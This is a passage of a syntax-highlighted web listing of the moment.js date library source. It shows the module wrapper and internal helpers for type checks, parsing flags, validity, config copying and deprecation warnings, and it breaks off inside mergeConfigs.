class="line">4667</span><br><span class="line">4668</span><br><span class="line">4669</span><br><span class="line">4670</span><br><span class="line">4671</span><br><span class="line">4672</span><br><span class="line">4673</span><br><span class="line">4674</span><br><span class="line">4675</span><br><span class="line">4676</span><br><span class="line">4677</span><br><span class="line">4678</span><br><span class="line">4679</span><br><span class="line">4680</span><br><span class="line">4681</span><br><span class="line">4682</span><br><span class="line">4683</span><br><span class="line">4684</span><br><span class="line">4685</span><br><span class="line">4686</span><br><span class="line">4687</span><br><span class="line">4688</span><br><span class="line">4689</span><br><span class="line">4690</span><br><span class="line">4691</span><br><span class="line">4692</span><br><span class="line">4693</span><br><span class="line">4694</span><br><span class="line">4695</span><br><span class="line">4696</span><br><span class="line">4697</span><br><span class="line">4698</span><br><span class="line">4699</span><br><span class="line">4700</span><br><span class="line">4701</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//! moment.js</span></span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">(<span class="keyword">function</span> (<span class="params"><span class="variable language_">global</span>, factory</span>) &#123;</span><br><span class="line">    <span class="keyword">typeof</span> <span class="built_in">exports</span> === <span class="string">&#x27;object&#x27;</span> &amp;&amp; <span class="keyword">typeof</span> <span class="variable language_">module</span> !== <span class="string">&#x27;undefined&#x27;</span> ? <span class="variable language_">module</span>.<span class="property">exports</span> = <span class="title function_">factory</span>() :</span><br><span class="line">        <span class="keyword">typeof</span> define === <span class="string">&#x27;function&#x27;</span> &amp;&amp; define.<span class="property">amd</span> ? <span class="title function_">define</span>(factory) :</span><br><span class="line">            <span class="variable language_">global</span>.<span class="property">moment</span> = <span class="title function_">factory</span>()</span><br><span class="line">&#125;(<span class="variable language_">this</span>, (<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    <span class="string">&#x27;use strict&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> hookCallback;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">hooks</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> hookCallback.<span class="title function_">apply</span>(<span class="literal">null</span>, <span class="variable language_">arguments</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// This is done to register the method called with moment()</span></span><br><span class="line">    <span class="comment">// without creating circular dependencies.</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">setHookCallback</span>(<span class="params">callback</span>) &#123;</span><br><span class="line">        hookCallback = callback;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isArray</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> input <span class="keyword">instanceof</span> <span class="title class_">Array</span> || <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(input) === <span class="string">&#x27;[object Array]&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isObject</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="comment">// IE8 will treat undefined and null as object if it wasn&#x27;t for</span></span><br><span class="line">        <span class="comment">// input != null</span></span><br><span class="line">        <span class="keyword">return</span> input != <span class="literal">null</span> &amp;&amp; <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(input) === <span class="string">&#x27;[object Object]&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isObjectEmpty</span>(<span class="params">obj</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title class_">Object</span>.<span class="property">getOwnPropertyNames</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> (<span class="title class_">Object</span>.<span class="title function_">getOwnPropertyNames</span>(obj).<span class="property">length</span> === <span class="number">0</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">var</span> k;</span><br><span class="line">            <span class="keyword">for</span> (k <span class="keyword">in</span> obj) &#123;</span><br><span class="line">                <span class="keyword">if</span> (obj.<span class="title function_">hasOwnProperty</span>(k)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isUndefined</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> input === <span class="keyword">void</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isNumber</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">typeof</span> input === <span class="string">&#x27;number&#x27;</span> || <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(input) === <span class="string">&#x27;[object Number]&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isDate</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> input <span class="keyword">instanceof</span> <span class="title class_">Date</span> || <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(input) === <span class="string">&#x27;[object Date]&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">map</span>(<span class="params">arr, fn</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res = [],</span><br><span class="line">            i;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; ++i) &#123;</span><br><span class="line">            res.<span class="title function_">push</span>(<span class="title function_">fn</span>(arr[i], i));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">hasOwnProp</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">hasOwnProperty</span>.<span class="title function_">call</span>(a, b);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">extend</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">var</span> i <span class="keyword">in</span> b) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(b, i)) &#123;</span><br><span class="line">                a[i] = b[i];</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(b, <span class="string">&#x27;toString&#x27;</span>)) &#123;</span><br><span class="line">            a.<span class="property">toString</span> = b.<span class="property">toString</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(b, <span class="string">&#x27;valueOf&#x27;</span>)) &#123;</span><br><span class="line">            a.<span class="property">valueOf</span> = b.<span class="property">valueOf</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> a;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createUTC</span>(<span class="params">input, format, locale, strict</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">createLocalOrUTC</span>(input, format, locale, strict, <span class="literal">true</span>).<span class="title function_">utc</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">defaultParsingFlags</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="comment">// We need to deep clone this object.</span></span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="attr">empty</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="attr">unusedTokens</span>: [],</span><br><span class="line">            <span class="attr">unusedInput</span>: [],</span><br><span class="line">            <span class="attr">overflow</span>: -<span class="number">2</span>,</span><br><span class="line">            <span class="attr">charsLeftOver</span>: <span class="number">0</span>,</span><br><span class="line">            <span class="attr">nullInput</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="attr">invalidMonth</span>: <span class="literal">null</span>,</span><br><span class="line">            <span class="attr">invalidFormat</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="attr">userInvalidated</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="attr">iso</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="attr">parsedDateParts</span>: [],</span><br><span class="line">            <span class="attr">meridiem</span>: <span class="literal">null</span>,</span><br><span class="line">            <span class="attr">rfc2822</span>: <span class="literal">false</span>,</span><br><span class="line">            <span class="attr">weekdayMismatch</span>: <span class="literal">false</span></span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getParsingFlags</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (m.<span class="property">_pf</span> == <span class="literal">null</span>) &#123;</span><br><span class="line">            m.<span class="property">_pf</span> = <span class="title function_">defaultParsingFlags</span>();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> m.<span class="property">_pf</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> some;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">some</span>) &#123;</span><br><span class="line">        some = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">some</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        some = <span class="keyword">function</span> (<span class="params">fun</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> t = <span class="title class_">Object</span>(<span class="variable language_">this</span>);</span><br><span class="line">            <span class="keyword">var</span> len = t.<span class="property">length</span> &gt;&gt;&gt; <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; len; i++) &#123;</span><br><span class="line">                <span class="keyword">if</span> (i <span class="keyword">in</span> t &amp;&amp; fun.<span class="title function_">call</span>(<span class="variable language_">this</span>, t[i], i, t)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isValid</span>(<span class="params">m</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (m.<span class="property">_isValid</span> == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> flags = <span class="title function_">getParsingFlags</span>(m);</span><br><span class="line">            <span class="keyword">var</span> parsedParts = some.<span class="title function_">call</span>(flags.<span class="property">parsedDateParts</span>, <span class="keyword">function</span> (<span class="params">i</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> i != <span class="literal">null</span>;</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">var</span> isNowValid = !<span class="built_in">isNaN</span>(m.<span class="property">_d</span>.<span class="title function_">getTime</span>()) &amp;&amp;</span><br><span class="line">                flags.<span class="property">overflow</span> &lt; <span class="number">0</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">empty</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">invalidMonth</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">invalidWeekday</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">weekdayMismatch</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">nullInput</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">invalidFormat</span> &amp;&amp;</span><br><span class="line">                !flags.<span class="property">userInvalidated</span> &amp;&amp;</span><br><span class="line">                (!flags.<span class="property">meridiem</span> || (flags.<span class="property">meridiem</span> &amp;&amp; parsedParts));</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (m.<span class="property">_strict</span>) &#123;</span><br><span class="line">                isNowValid = isNowValid &amp;&amp;</span><br><span class="line">                    flags.<span class="property">charsLeftOver</span> === <span class="number">0</span> &amp;&amp;</span><br><span class="line">                    flags.<span class="property">unusedTokens</span>.<span class="property">length</span> === <span class="number">0</span> &amp;&amp;</span><br><span class="line">                    flags.<span class="property">bigHour</span> === <span class="literal">undefined</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (<span class="title class_">Object</span>.<span class="property">isFrozen</span> == <span class="literal">null</span> || !<span class="title class_">Object</span>.<span class="title function_">isFrozen</span>(m)) &#123;</span><br><span class="line">                m.<span class="property">_isValid</span> = isNowValid;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> isNowValid;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> m.<span class="property">_isValid</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">createInvalid</span>(<span class="params">flags</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> m = <span class="title function_">createUTC</span>(<span class="title class_">NaN</span>);</span><br><span class="line">        <span class="keyword">if</span> (flags != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="title function_">extend</span>(<span class="title function_">getParsingFlags</span>(m), flags);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(m).<span class="property">userInvalidated</span> = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> m;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Plugins that add properties should also add the key here (null value),</span></span><br><span class="line">    <span class="comment">// so we can properly clone ourselves.</span></span><br><span class="line">    <span class="keyword">var</span> momentProperties = hooks.<span class="property">momentProperties</span> = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">copyConfig</span>(<span class="params">to, <span class="keyword">from</span></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, prop, val;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_isAMomentObject</span>)) &#123;</span><br><span class="line">            to.<span class="property">_isAMomentObject</span> = <span class="keyword">from</span>.<span class="property">_isAMomentObject</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_i</span>)) &#123;</span><br><span class="line">            to.<span class="property">_i</span> = <span class="keyword">from</span>.<span class="property">_i</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_f</span>)) &#123;</span><br><span class="line">            to.<span class="property">_f</span> = <span class="keyword">from</span>.<span class="property">_f</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_l</span>)) &#123;</span><br><span class="line">            to.<span class="property">_l</span> = <span class="keyword">from</span>.<span class="property">_l</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_strict</span>)) &#123;</span><br><span class="line">            to.<span class="property">_strict</span> = <span class="keyword">from</span>.<span class="property">_strict</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_tzm</span>)) &#123;</span><br><span class="line">            to.<span class="property">_tzm</span> = <span class="keyword">from</span>.<span class="property">_tzm</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_isUTC</span>)) &#123;</span><br><span class="line">            to.<span class="property">_isUTC</span> = <span class="keyword">from</span>.<span class="property">_isUTC</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_offset</span>)) &#123;</span><br><span class="line">            to.<span class="property">_offset</span> = <span class="keyword">from</span>.<span class="property">_offset</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_pf</span>)) &#123;</span><br><span class="line">            to.<span class="property">_pf</span> = <span class="title function_">getParsingFlags</span>(<span class="keyword">from</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(<span class="keyword">from</span>.<span class="property">_locale</span>)) &#123;</span><br><span class="line">            to.<span class="property">_locale</span> = <span class="keyword">from</span>.<span class="property">_locale</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (momentProperties.<span class="property">length</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; momentProperties.<span class="property">length</span>; i++) &#123;</span><br><span class="line">                prop = momentProperties[i];</span><br><span class="line">                val = <span class="keyword">from</span>[prop];</span><br><span class="line">                <span class="keyword">if</span> (!<span class="title function_">isUndefined</span>(val)) &#123;</span><br><span class="line">                    to[prop] = val;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> to;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> updateInProgress = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Moment prototype object</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">Moment</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="title function_">copyConfig</span>(<span class="variable language_">this</span>, config);</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(config.<span class="property">_d</span> != <span class="literal">null</span> ? config.<span class="property">_d</span>.<span class="title function_">getTime</span>() : <span class="title class_">NaN</span>);</span><br><span class="line">        <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(<span class="title class_">NaN</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// Prevent infinite loop in case updateOffset creates new moment</span></span><br><span class="line">        <span class="comment">// objects.</span></span><br><span class="line">        <span class="keyword">if</span> (updateInProgress === <span class="literal">false</span>) &#123;</span><br><span class="line">            updateInProgress = <span class="literal">true</span>;</span><br><span class="line">            hooks.<span class="title function_">updateOffset</span>(<span class="variable language_">this</span>);</span><br><span class="line">            updateInProgress = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isMoment</span>(<span class="params">obj</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> obj <span class="keyword">instanceof</span> <span class="title class_">Moment</span> || (obj != <span class="literal">null</span> &amp;&amp; obj.<span class="property">_isAMomentObject</span> != <span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">absFloor</span>(<span class="params">number</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (number &lt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">// -0 -&gt; 0</span></span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">ceil</span>(number) || <span class="number">0</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="title class_">Math</span>.<span class="title function_">floor</span>(number);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">toInt</span>(<span class="params">argumentForCoercion</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> coercedNumber = +argumentForCoercion,</span><br><span class="line">            value = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (coercedNumber !== <span class="number">0</span> &amp;&amp; <span class="built_in">isFinite</span>(coercedNumber)) &#123;</span><br><span class="line">            value = <span class="title function_">absFloor</span>(coercedNumber);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// compare two arrays, return the number of differences</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">compareArrays</span>(<span class="params">array1, array2, dontConvert</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> len = <span class="title class_">Math</span>.<span class="title function_">min</span>(array1.<span class="property">length</span>, array2.<span class="property">length</span>),</span><br><span class="line">            lengthDiff = <span class="title class_">Math</span>.<span class="title function_">abs</span>(array1.<span class="property">length</span> - array2.<span class="property">length</span>),</span><br><span class="line">            diffs = <span class="number">0</span>,</span><br><span class="line">            i;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; len; i++) &#123;</span><br><span class="line">            <span class="keyword">if</span> ((dontConvert &amp;&amp; array1[i] !== array2[i]) ||</span><br><span class="line">                (!dontConvert &amp;&amp; <span class="title function_">toInt</span>(array1[i]) !== <span class="title function_">toInt</span>(array2[i]))) &#123;</span><br><span class="line">                diffs++;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> diffs + lengthDiff;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">warn</span>(<span class="params">msg</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (hooks.<span class="property">suppressDeprecationWarnings</span> === <span class="literal">false</span> &amp;&amp;</span><br><span class="line">            (<span class="keyword">typeof</span> <span class="variable language_">console</span> !== <span class="string">&#x27;undefined&#x27;</span>) &amp;&amp; <span class="variable language_">console</span>.<span class="property">warn</span>) &#123;</span><br><span class="line">            <span class="variable language_">console</span>.<span class="title function_">warn</span>(<span class="string">&#x27;Deprecation warning: &#x27;</span> + msg);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">deprecate</span>(<span class="params">msg, fn</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> firstTime = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">extend</span>(<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (hooks.<span class="property">deprecationHandler</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">                hooks.<span class="title function_">deprecationHandler</span>(<span class="literal">null</span>, msg);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (firstTime) &#123;</span><br><span class="line">                <span class="keyword">var</span> args = [];</span><br><span class="line">                <span class="keyword">var</span> arg;</span><br><span class="line">                <span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; <span class="variable language_">arguments</span>.<span class="property">length</span>; i++) &#123;</span><br><span class="line">                    arg = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">                    <span class="keyword">if</span> (<span class="keyword">typeof</span> <span class="variable language_">arguments</span>[i] === <span class="string">&#x27;object&#x27;</span>) &#123;</span><br><span class="line">                        arg += <span class="string">&#x27;\n[&#x27;</span> + i + <span class="string">&#x27;] &#x27;</span>;</span><br><span class="line">                        <span class="keyword">for</span> (<span class="keyword">var</span> key <span class="keyword">in</span> <span class="variable language_">arguments</span>[<span class="number">0</span>]) &#123;</span><br><span class="line">                            arg += key + <span class="string">&#x27;: &#x27;</span> + <span class="variable language_">arguments</span>[<span class="number">0</span>][key] + <span class="string">&#x27;, &#x27;</span>;</span><br><span class="line">                        &#125;</span><br><span class="line">                        arg = arg.<span class="title function_">slice</span>(<span class="number">0</span>, -<span class="number">2</span>); <span class="comment">// Remove trailing comma and space</span></span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        arg = <span class="variable language_">arguments</span>[i];</span><br><span class="line">                    &#125;</span><br><span class="line">                    args.<span class="title function_">push</span>(arg);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="title function_">warn</span>(msg + <span class="string">&#x27;\nArguments: &#x27;</span> + <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">slice</span>.<span class="title function_">call</span>(args).<span class="title function_">join</span>(<span class="string">&#x27;&#x27;</span>) + <span class="string">&#x27;\n&#x27;</span> + (</span><br><span class="line">                    <span class="keyword">new</span> <span class="title class_">Error</span>()).<span class="property">stack</span>);</span><br><span class="line">                firstTime = <span class="literal">false</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> fn.<span class="title function_">apply</span>(<span class="variable language_">this</span>, <span class="variable language_">arguments</span>);</span><br><span class="line">        &#125;, fn);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> deprecations = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">deprecateSimple</span>(<span class="params">name, msg</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (hooks.<span class="property">deprecationHandler</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            hooks.<span class="title function_">deprecationHandler</span>(name, msg);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!deprecations[name]) &#123;</span><br><span class="line">            <span class="title function_">warn</span>(msg);</span><br><span class="line">            deprecations[name] = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">suppressDeprecationWarnings</span> = <span class="literal">false</span>;</span><br><span class="line">    hooks.<span class="property">deprecationHandler</span> = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">isFunction</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> input <span class="keyword">instanceof</span> <span class="title class_">Function</span> || <span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">toString</span>.<span class="title function_">call</span>(input) === <span class="string">&#x27;[object Function]&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">set</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> prop, i;</span><br><span class="line">        <span class="keyword">for</span> (i <span class="keyword">in</span> config) &#123;</span><br><span class="line">            prop = config[i];</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">isFunction</span>(prop)) &#123;</span><br><span class="line">                <span class="variable language_">this</span>[i] = prop;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="variable language_">this</span>[<span class="string">&#x27;_&#x27;</span> + i] = prop;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_config</span> = config;</span><br><span class="line">        <span class="comment">// Lenient ordinal parsing accepts just a number in addition to</span></span><br><span class="line">        <span class="comment">// number + (possibly) stuff coming from _dayOfMonthOrdinalParse.</span></span><br><span class="line">        <span class="comment">// <span class="doctag">TODO:</span> Remove &quot;ordinalParse&quot; fallback in next major release.</span></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_dayOfMonthOrdinalParseLenient</span> = <span class="keyword">new</span> <span class="title class_">RegExp</span>(</span><br><span class="line">            (<span class="variable language_">this</span>.<span class="property">_dayOfMonthOrdinalParse</span>.<span class="property">source</span> || <span class="variable language_">this</span>.<span class="property">_ordinalParse</span>.<span class="property">source</span>) +</span><br><span class="line">            <span class="string">&#x27;|&#x27;</span> + (<span class="regexp">/\d&#123;1,2&#125;/</span>).<span class="property">source</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">mergeConfigs</span>(<span class="params">parentConfig, childConfig</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> res = <span class="title function_">extend</span>(&#123;&#125;, parentConfig),</span><br><span class="line">            prop;</span><br><span class="line">        <span class="keyword">for</span> (prop <span class="keyword">in</span> childConfig) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(childConfig, prop)) &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="title function_">isObject</span>(parentConfig[prop]) &amp;&amp; <span class="title function_">isObject</span>(childConfig[prop])) 